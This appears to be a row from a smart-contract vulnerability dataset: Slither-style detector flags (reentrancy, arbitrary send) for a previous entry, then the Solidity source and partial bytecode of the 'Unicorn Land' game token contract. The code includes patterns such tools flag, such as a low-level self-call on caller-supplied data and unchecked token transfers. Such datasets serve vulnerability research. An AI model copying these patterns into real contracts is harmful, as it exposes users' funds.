332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122049824bf4be97d00d0b57d7a5921648c9ec0c62773fd46092fc28b36b20ea47a764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,332 |
0x48fc077618662a07e15815fb7afbfbf2a7ee560a
|
pragma solidity 0.4.21;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface LandManagementInterface {
function ownerAddress() external view returns (address);
function managerAddress() external view returns (address);
function communityAddress() external view returns (address);
function dividendManagerAddress() external view returns (address);
function walletAddress() external view returns (address);
// function unicornTokenAddress() external view returns (address);
function candyToken() external view returns (address);
function megaCandyToken() external view returns (address);
function userRankAddress() external view returns (address);
function candyLandAddress() external view returns (address);
function candyLandSaleAddress() external view returns (address);
function isUnicornContract(address _unicornContractAddress) external view returns (bool);
function paused() external view returns (bool);
function presaleOpen() external view returns (bool);
function firstRankForFree() external view returns (bool);
function ethLandSaleOpen() external view returns (bool);
function landPriceWei() external view returns (uint);
function landPriceCandy() external view returns (uint);
function registerInit(address _contract) external;
}
interface UserRankInterface {
function buyNextRank() external;
function buyRank(uint _index) external;
function getIndividualPrice(address _user, uint _index) external view returns (uint);
function getRankPriceEth(uint _index) external view returns (uint);
function getRankPriceCandy(uint _index) external view returns (uint);
function getRankLandLimit(uint _index) external view returns (uint);
function getRankTitle(uint _index) external view returns (string);
function getUserRank(address _user) external view returns (uint);
function getUserLandLimit(address _user) external view returns (uint);
function ranksCount() external view returns (uint);
function getNextRank(address _user) external returns (uint);
function getPreSaleRank(address owner, uint _index) external;
function getRank(address owner, uint _index) external;
}
contract MegaCandyInterface is ERC20 {
function transferFromSystem(address _from, address _to, uint256 _value) public returns (bool);
function burn(address _from, uint256 _value) public returns (bool);
function mint(address _to, uint256 _amount) public returns (bool);
}
contract LandAccessControl {
LandManagementInterface public landManagement;
function LandAccessControl(address _landManagementAddress) public {
landManagement = LandManagementInterface(_landManagementAddress);
landManagement.registerInit(this);
}
modifier onlyOwner() {
require(msg.sender == landManagement.ownerAddress());
_;
}
modifier onlyManager() {
require(msg.sender == landManagement.managerAddress());
_;
}
modifier onlyCommunity() {
require(msg.sender == landManagement.communityAddress());
_;
}
modifier whenNotPaused() {
require(!landManagement.paused());
_;
}
modifier whenPaused {
require(landManagement.paused());
_;
}
modifier onlyWhileEthSaleOpen {
require(landManagement.ethLandSaleOpen());
_;
}
modifier onlyLandManagement() {
require(msg.sender == address(landManagement));
_;
}
modifier onlyUnicornContract() {
require(landManagement.isUnicornContract(msg.sender));
_;
}
modifier onlyCandyLand() {
require(msg.sender == address(landManagement.candyLandAddress()));
_;
}
modifier whilePresaleOpen() {
require(landManagement.presaleOpen());
_;
}
function isGamePaused() external view returns (bool) {
return landManagement.paused();
}
}
contract CanReceiveApproval {
event ReceiveApproval(address from, uint256 value, address token);
mapping (bytes4 => bool) allowedFuncs;
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length >= numwords * 32 + 4);
_;
}
modifier onlySelf(){
require(msg.sender == address(this));
_;
}
function bytesToBytes4(bytes b) internal pure returns (bytes4 out) {
for (uint i = 0; i < 4; i++) {
out |= bytes4(b[i] & 0xFF) >> (i << 3);
}
}
}
contract CandyLand is ERC20, LandAccessControl, CanReceiveApproval {
using SafeMath for uint256;
UserRankInterface public userRank;
MegaCandyInterface public megaCandy;
ERC20 public candyToken;
struct Gardener {
uint period;
uint price;
bool exists;
}
struct Garden {
uint count;
uint startTime;
address owner;
uint gardenerId;
uint lastCropTime;
uint plantationIndex;
uint ownerPlantationIndex;
}
string public constant name = "Unicorn Land";
string public constant symbol = "Land";
uint8 public constant decimals = 0;
uint256 totalSupply_;
uint256 public MAX_SUPPLY = 30000;
uint public constant plantedTime = 1 hours;
uint public constant plantedRate = 1 ether;
//uint public constant priceRate = 1 ether;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) planted;
mapping(uint => Gardener) public gardeners;
// Mapping from garden ID to Garde struct
mapping(uint => Garden) public gardens;
// garden index => gardenId
mapping(uint => uint) public plantation;
uint public plantationSize = 0;
//user plantations
// owner => array (index => gardenId)
mapping(address => mapping(uint => uint)) public ownerPlantation;
mapping(address => uint) public ownerPlantationSize;
uint gardenerId = 0;
uint gardenId = 0;
event Mint(address indexed to, uint256 amount);
event MakePlant(address indexed owner, uint gardenId, uint count, uint gardenerId);
event GetCrop(address indexed owner, uint gardenId, uint megaCandyCount);
event NewGardenerAdded(uint gardenerId, uint _period, uint _price);
event GardenerChange(uint gardenerId, uint _period, uint _price);
event NewLandLimit(uint newLimit);
event TokensTransferred(address wallet, uint value);
function CandyLand(address _landManagementAddress) LandAccessControl(_landManagementAddress) public {
allowedFuncs[bytes4(keccak256("_receiveMakePlant(address,uint256,uint256)"))] = true;
addGardener(24, 700000000000000000);
addGardener(120, 3000000000000000000);
addGardener(240, 5000000000000000000);
addGardener(720,12000000000000000000);
}
function init() onlyLandManagement whenPaused external {
userRank = UserRankInterface(landManagement.userRankAddress());
megaCandy = MegaCandyInterface(landManagement.megaCandyToken());
candyToken = ERC20(landManagement.candyToken());
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender].sub(planted[msg.sender]));
require(balances[_to].add(_value) <= userRank.getUserLandLimit(_to));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function plantedOf(address _owner) public view returns (uint256 balance) {
return planted[_owner];
}
function freeLandsOf(address _owner) public view returns (uint256 balance) {
return balances[_owner].sub(planted[_owner]);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from].sub(planted[_from]));
require(_value <= allowed[_from][msg.sender]);
require(balances[_to].add(_value) <= userRank.getUserLandLimit(_to));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transferFromSystem(address _from, address _to, uint256 _value) onlyUnicornContract public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from].sub(planted[_from]));
// require(_value <= balances[_from]);
require(balances[_to].add(_value) <= userRank.getUserLandLimit(_to));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function mint(address _to, uint256 _amount) onlyUnicornContract public returns (bool) {
require(totalSupply_.add(_amount) <= MAX_SUPPLY);
require(balances[_to].add(_amount) <= userRank.getUserLandLimit(_to));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function makePlant(uint _count, uint _gardenerId) public {
_makePlant(msg.sender, _count, _gardenerId);
}
function _receiveMakePlant(address _beneficiary, uint _count, uint _gardenerId) onlySelf onlyPayloadSize(3) public {
_makePlant(_beneficiary, _count, _gardenerId);
}
function _makePlant(address _owner, uint _count, uint _gardenerId) internal {
require(_count <= balances[_owner].sub(planted[_owner]) && _count > 0);
//require(candyToken.transferFrom(msg.sender, this, _count.mul(priceRate)));
if (_gardenerId > 0) {
require(gardeners[_gardenerId].exists);
require(candyToken.transferFrom(_owner, this, gardeners[_gardenerId].price.mul(_count)));
}
gardens[++gardenId] = Garden({
count: _count,
startTime: now,
owner: _owner,
gardenerId: _gardenerId,
lastCropTime: now,
plantationIndex: plantationSize,
ownerPlantationIndex: ownerPlantationSize[_owner]
});
planted[_owner] = planted[_owner].add(_count);
//update global plantation list
plantation[plantationSize++] = gardenId;
//update user plantation list
ownerPlantation[_owner][ownerPlantationSize[_owner]++] = gardenId;
emit MakePlant(_owner, gardenId, _count, gardenerId);
}
function getCrop(uint _gardenId) public {
require(msg.sender == gardens[_gardenId].owner);
require(now >= gardens[_gardenId].lastCropTime.add(plantedTime));
uint crop = 0;
uint cropCount = 1;
uint remainingCrops = 0;
if (gardens[_gardenId].gardenerId > 0) {
uint finishTime = gardens[_gardenId].startTime.add(gardeners[gardens[_gardenId].gardenerId].period);
//время текущей сбоки урожая
uint currentCropTime = now < finishTime ? now : finishTime;
//количество урожаев которое соберем сейчас
cropCount = currentCropTime.sub(gardens[_gardenId].lastCropTime).div(plantedTime);
//время последней сборки урожая + время 1 урожая на количество урожаев которое соберем сейчас
gardens[_gardenId].lastCropTime = gardens[_gardenId].lastCropTime.add(cropCount.mul(plantedTime));
//количество оставшихся урожаев
remainingCrops = finishTime.sub(gardens[_gardenId].lastCropTime).div(plantedTime);
}
crop = gardens[_gardenId].count.mul(plantedRate).mul(cropCount);
if (remainingCrops == 0) {
planted[msg.sender] = planted[msg.sender].sub(gardens[_gardenId].count);
//delete from global plantation list
gardens[plantation[--plantationSize]].plantationIndex = gardens[_gardenId].plantationIndex;
plantation[gardens[_gardenId].plantationIndex] = plantation[plantationSize];
delete plantation[plantationSize];
//delete from user plantation list
gardens[ownerPlantation[msg.sender][--ownerPlantationSize[msg.sender]]].ownerPlantationIndex = gardens[_gardenId].ownerPlantationIndex;
ownerPlantation[msg.sender][gardens[_gardenId].ownerPlantationIndex] = ownerPlantation[msg.sender][ownerPlantationSize[msg.sender]];
delete ownerPlantation[msg.sender][ownerPlantationSize[msg.sender]];
delete gardens[_gardenId];
}
megaCandy.mint(msg.sender, crop);
emit GetCrop(msg.sender, _gardenId, crop);
}
function addGardener(uint _period, uint _price) onlyOwner public {
gardeners[++gardenerId] = Gardener({
period: _period * 1 hours,
price: _price,
exists: true
});
emit NewGardenerAdded(gardenerId, _period, _price);
}
function editGardener(uint _gardenerId, uint _period, uint _price) onlyOwner public {
require(gardeners[_gardenerId].exists);
Gardener storage g = gardeners[_gardenerId];
g.period = _period;
g.price = _price;
emit GardenerChange(_gardenerId, _period, _price);
}
function getUserLandLimit(address _user) public view returns(uint) {
return userRank.getRankLandLimit(userRank.getUserRank(_user)).sub(balances[_user]);
}
function setLandLimit() external onlyCommunity {
require(totalSupply_ == MAX_SUPPLY);
MAX_SUPPLY = MAX_SUPPLY.add(1000);
emit NewLandLimit(MAX_SUPPLY);
}
//1% - 100, 10% - 1000 50% - 5000
function valueFromPercent(uint _value, uint _percent) internal pure returns (uint amount) {
uint _amount = _value.mul(_percent).div(10000);
return (_amount);
}
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public {
//require(_token == landManagement.candyToken());
require(msg.sender == address(candyToken));
require(allowedFuncs[bytesToBytes4(_extraData)]);
require(address(this).call(_extraData));
emit ReceiveApproval(_from, _value, _token);
}
function withdrawTokens() onlyManager public {
require(candyToken.balanceOf(this) > 0);
candyToken.transfer(landManagement.walletAddress(), candyToken.balanceOf(this));
emit TokensTransferred(landManagement.walletAddress(), candyToken.balanceOf(this));
}
}
|
0x6060604052600436106101e3576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630422ddf3146101e857806305aebead1461021557806306fdde031461023e578063081d203e146102cc578063095ea7b3146102f55780630b2fce741461034f57806311308d661461037b57806318160ddd146103c8578063182493f2146103f157806323b872dd1461043e578063278bee92146104b757806327dd387314610502578063313ce5671461052b57806332cb6b0c1461055a57806340c10f191461058357806344abd790146105dd57806351118f1d1461060957806353ff733514610682578063569c8662146106d857806357e8f4011461070f578063661884631461075c578063669a73fb146107b6578063673e98a4146107ff57806370a082311461084c578063738fa7a41461089957806376cc1c5c146108ee5780638142b8d7146109435780638bc7fa9c146109785780638d8f2adb1461099b5780638f4ffcb1146109b057806395d89b4114610a545780639e18eb3914610ae2578063a63f5e2a14610b6f578063a891af6714610bc4578063a9059cbb14610c19578063c0b14de714610c73578063d73dd62314610c88578063dd62ed3e14610ce2578063e1c7392a14610d4e575b600080fd5b34156101f357600080fd5b6101fb610d63565b604051808215151515815260200191505060405180910390f35b341561022057600080fd5b610228610e05565b6040518082815260200191505060405180910390f35b341561024957600080fd5b610251610e0b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610291578082015181840152602081019050610276565b50505050905090810190601f1680156102be5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102d757600080fd5b6102df610e44565b6040518082815260200191505060405180910390f35b341561030057600080fd5b610335600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e50565b604051808215151515815260200191505060405180910390f35b341561035a57600080fd5b6103796004808035906020019091908035906020019091905050610f42565b005b341561038657600080fd5b6103b2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110de565b6040518082815260200191505060405180910390f35b34156103d357600080fd5b6103db611178565b6040518082815260200191505060405180910390f35b34156103fc57600080fd5b610428600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611182565b6040518082815260200191505060405180910390f35b341561044957600080fd5b61049d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111cb565b604051808215151515815260200191505060405180910390f35b34156104c257600080fd5b610500600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001909190505061170d565b005b341561050d57600080fd5b610515611770565b6040518082815260200191505060405180910390f35b341561053657600080fd5b61053e611776565b604051808260ff1660ff16815260200191505060405180910390f35b341561056557600080fd5b61056d61177b565b6040518082815260200191505060405180910390f35b341561058e57600080fd5b6105c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611781565b604051808215151515815260200191505060405180910390f35b34156105e857600080fd5b6106076004808035906020019091908035906020019091905050611b25565b005b341561061457600080fd5b610668600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611b34565b604051808215151515815260200191505060405180910390f35b341561068d57600080fd5b6106c2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611fba565b6040518082815260200191505060405180910390f35b34156106e357600080fd5b6106f96004808035906020019091905050611fdf565b6040518082815260200191505060405180910390f35b341561071a57600080fd5b610746600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ff7565b6040518082815260200191505060405180910390f35b341561076757600080fd5b61079c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506121ca565b604051808215151515815260200191505060405180910390f35b34156107c157600080fd5b6107d7600480803590602001909190505061245b565b6040518084815260200183815260200182151515158152602001935050505060405180910390f35b341561080a57600080fd5b610836600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612492565b6040518082815260200191505060405180910390f35b341561085757600080fd5b610883600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506124aa565b6040518082815260200191505060405180910390f35b34156108a457600080fd5b6108ac6124f3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108f957600080fd5b610901612519565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561094e57600080fd5b610976600480803590602001909190803590602001909190803590602001909190505061253e565b005b341561098357600080fd5b61099960048080359060200190919050506126b7565b005b34156109a657600080fd5b6109ae612e7b565b005b34156109bb57600080fd5b610a52600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613451565b005b3415610a5f57600080fd5b610a67613656565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610aa7578082015181840152602081019050610a8c565b50505050905090810190601f168015610ad45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610aed57600080fd5b610b03600480803590602001909190505061368f565b604051808881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184815260200183815260200182815260200197505050505050505060405180910390f35b3415610b7a57600080fd5b610b826136f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610bcf57600080fd5b610bd7613717565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610c2457600080fd5b610c59600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061373d565b604051808215151515815260200191505060405180910390f35b3415610c7e57600080fd5b610c86613ae4565b005b3415610c9357600080fd5b610cc8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050613c22565b604051808215151515815260200191505060405180910390f35b3415610ced57600080fd5b610d38600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613e1e565b6040518082815260200191505060405180910390f35b3415610d5957600080fd5b610d61613ea5565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610de957600080fd5b5af11515610df657600080fd5b50505060405180519050905090565b600d5481565b6040805190810160405280600c81526020017f556e69636f726e204c616e64000000000000000000000000000000000000000081525081565b670de0b6b3a764000081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638f84aa096040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610fc657600080fd5b5af11515610fd357600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101657600080fd5b606060405190810160405280610e108402815260200182815260200160011515815250600a60006010600081546001019190508190558152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050507f160b39130d5b9a65a6a2d5e91b0542fdd0c8eec42f4b85dd3d44344cc948d0e0601054838360405180848152602001838152602001828152602001935050505060405180910390a15050565b6000611171600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461423990919063ffffffff16565b9050919050565b6000600554905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561120857600080fd5b611299600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461423990919063ffffffff16565b82111515156112a757600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561133257600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357e8f401846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156113ee57600080fd5b5af115156113fb57600080fd5b5050506040518051905061145783600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461425290919063ffffffff16565b1115151561146457600080fd5b6114b682600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461423990919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061154b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461425290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061161d82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461423990919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174757600080fd5b60036004602082020160003690501015151561175f57fe5b61176a848484614270565b50505050565b610e1081565b600081565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663541334f6336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561183e57600080fd5b5af1151561184b57600080fd5b50505060405180519050151561186057600080fd5b6006546118788360055461425290919063ffffffff16565b1115151561188557600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357e8f401846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561194157600080fd5b5af1151561194e57600080fd5b505050604051805190506119aa83600760008773fffffffffffffffffffffffffffffffffff